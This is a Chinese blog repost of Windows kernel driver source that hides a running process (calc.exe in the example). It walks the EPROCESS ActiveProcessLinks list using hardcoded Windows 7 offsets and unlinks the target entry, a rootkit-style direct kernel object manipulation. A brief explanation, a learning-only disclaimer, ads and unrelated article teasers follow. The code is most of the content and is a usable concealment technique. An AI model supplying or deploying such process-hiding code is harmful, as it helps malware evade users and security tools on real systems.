HideProcess

摘要:
//System.exe44344if(szProcessName==NULL)45{46return;47}48if(EProcess==NULL)49{50return;=BadEProcess)61{62szName=(char*)((ULONG_PTR)TravelEProcess+ImageFileNameOffset_EProcess);
HideProcess第1张HideProcess第2张
 1 #ifndef CXX_HIDEPROCESS_H
 2 #    include "HideProcess.h"
 3 #endif
 4 
 5 
 6 
 7 #ifdef _WIN64
 8 #define  ActiveProcessLinksOffset_EPROCESS  0x188
 9 #define  ImageFileNameOffset_EPROCESS       0x2e0
10 #else
11 #define  ActiveProcessLinksOffset_EPROCESS  0x088
12 #define  ImageFileNameOffset_EPROCESS       0x174
13 #endif
14 
15 
16 
17 
18 
19 
20 NTSTATUS  DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegisterPath)
21 {
22 
23     //卸载当前驱动例程
24     DriverObject->DriverUnload = UnloadDriver;  
25     HideProcess("calc.exe");
26     return STATUS_SUCCESS;
27 }
28 
29 VOID  UnloadDriver(PDRIVER_OBJECT DriverObject)
30 {
31 
32 }
33 
34 VOID HideProcess(char* szProcessName)
35 {
36 
37     PLIST_ENTRY  ListEntry = NULL;   
38     PEPROCESS  EProcess = NULL;
39     char*       szName = NULL;
40     PEPROCESS  TravelEProcess = NULL;    
41     PEPROCESS  BadEProcess = NULL;
42     EProcess = IoGetCurrentProcess();   // System.exe
43 
44     if (szProcessName==NULL)
45     {
46         return;
47     }
48     if (EProcess==NULL)
49     {    
50         return;
51     }
52     TravelEProcess = EProcess;
53 
54 
55     BadEProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcess+ActiveProcessLinksOffset_EPROCESS+8)))-0x188);
56 
57     do 
58     {
59     
60         if (TravelEProcess!=BadEProcess)   
61         {
62             szName = (char*)((ULONG_PTR)TravelEProcess+ImageFileNameOffset_EPROCESS);   //Next
63             DbgPrint("%s
",szName);
64 
65             if (strstr(szName,szProcessName)!=NULL)
66             {
67                 RemoveEntryList(ListEntry);   //
68 
69                 break;
70             }
71         }
72         
73         TravelEProcess = (PEPROCESS)((*(ULONG_PTR*)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS))-ActiveProcessLinksOffset_EPROCESS);
74         ListEntry = (PLIST_ENTRY)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS);
75     }while (TravelEProcess!=EProcess);
76 }
代码

使用断链操作隐藏进程

win7:

0x188 处 _LIST_ENTRY  一个16位的结构体

0x2e0处存储进程名称

winxp同理

免责声明:文章转载自《HideProcess》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇60个数据窗口技巧(转)第五届蓝桥杯 c/c++ B组6下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

discuz(dz) SSO(单点,同歩,异步)登录 --转

原文地址:http://fc-lamp.blog.163.com/blog/static/1745666872012762520123/ discuz(dz) SSO(单点,同歩,异步)登录  一般流程:   1 发起请求:   1 )登录请求到 localhost/member.php  初始化一些设置,然后调用source/module/member/...

android wifi断开原因分析

最近在解bug的过程中经常遇到密码正确但处于saved的状态,总结原因有已下几种:1 在ASSOCIATING阶段由于丢包导致ASSOC REJECT03-16 09:22:12.440 D/WifiMonitor( 924): Event [IFNAME=wlan0 CTRL-EVENT-DISCONNECTED bssid=08:cc:68:9e:ac...

mysql主从不同步问题 Error_code: 1197

首先查看从的状态 mysql> show slave status G *************************** 1. row *************************** Slave_IO_State: Waiting for master to send event...

memcached-tool 工具

perl memcached-tool server_ip:port stats   输出说明: pid memcache服务器的进程ID uptime 服务器已经运行的秒数 time 服务器当前的unix时间戳 version  memcache 版本 pointer_size  当前操作系统的指针大小(32位系统一般是32bit...

C#使用SqlDataAdapter 实现数据的批量插入和更新

近日由于项目要求在需要实现中型数据的批量插入和更新,晚上无聊,在网上看到看到这样的一个实现方法,特摘抄过来,以便以后可能用到参考。 一.数据的插入 DateTime begin = DateTime.Now; string connectionString = ......; using(SqlConnection conn = new SqlConnec...

js瀑布流 原理实现揭秘 javascript 原生实现

  web,js瀑布流揭秘   瀑布流再很久之前流行,可能如我一样入行晚的 ,可能就没有机会去使用。但是这个技术终究是个挺炫酷的东西,花了一个上午来研究,用原生js实现了一个,下面会附上源码,供大家解读。   说起瀑布流,其实实现原理特别简单,而且方法有很多,现在说一个大众的方法,所谓瀑布流就是 一堆样式差不多的 盒子排列在一起,排列规则是,插入到高度最低...